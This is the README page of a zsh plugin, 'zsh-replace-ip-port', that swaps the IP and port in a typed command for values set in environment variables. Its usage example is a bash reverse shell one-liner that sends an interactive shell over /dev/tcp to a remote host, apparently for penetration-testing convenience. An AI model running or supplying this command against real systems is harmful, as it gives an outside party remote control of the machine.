Skip to content

Latest commit

 

History

History
32 lines (23 loc) · 675 Bytes

README.md

File metadata and controls

32 lines (23 loc) · 675 Bytes

Install

  • clone repo inside your oh-my-zsh repo

     git clone https://github.com/Ha-L0/zsh-replace-ip-port ${ZSH_CUSTOM:-${ZSH:-~/.oh-my-zsh}/custom}/plugins/zsh-replace-ip-port
  • add zsh-replace-ip-port to plugins in ~/.zshrc config

     plugins(... zsh-replace-ip-port)
    

Usage

export IP=123.123.123.123 # your ip
export PORT=1111 # your port

write or copy paste command with ip and port

$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

before executing press CTRL + o and ip and port gets replaced

$ bash -i >& /dev/tcp/123.123.123.123/1111 0>&1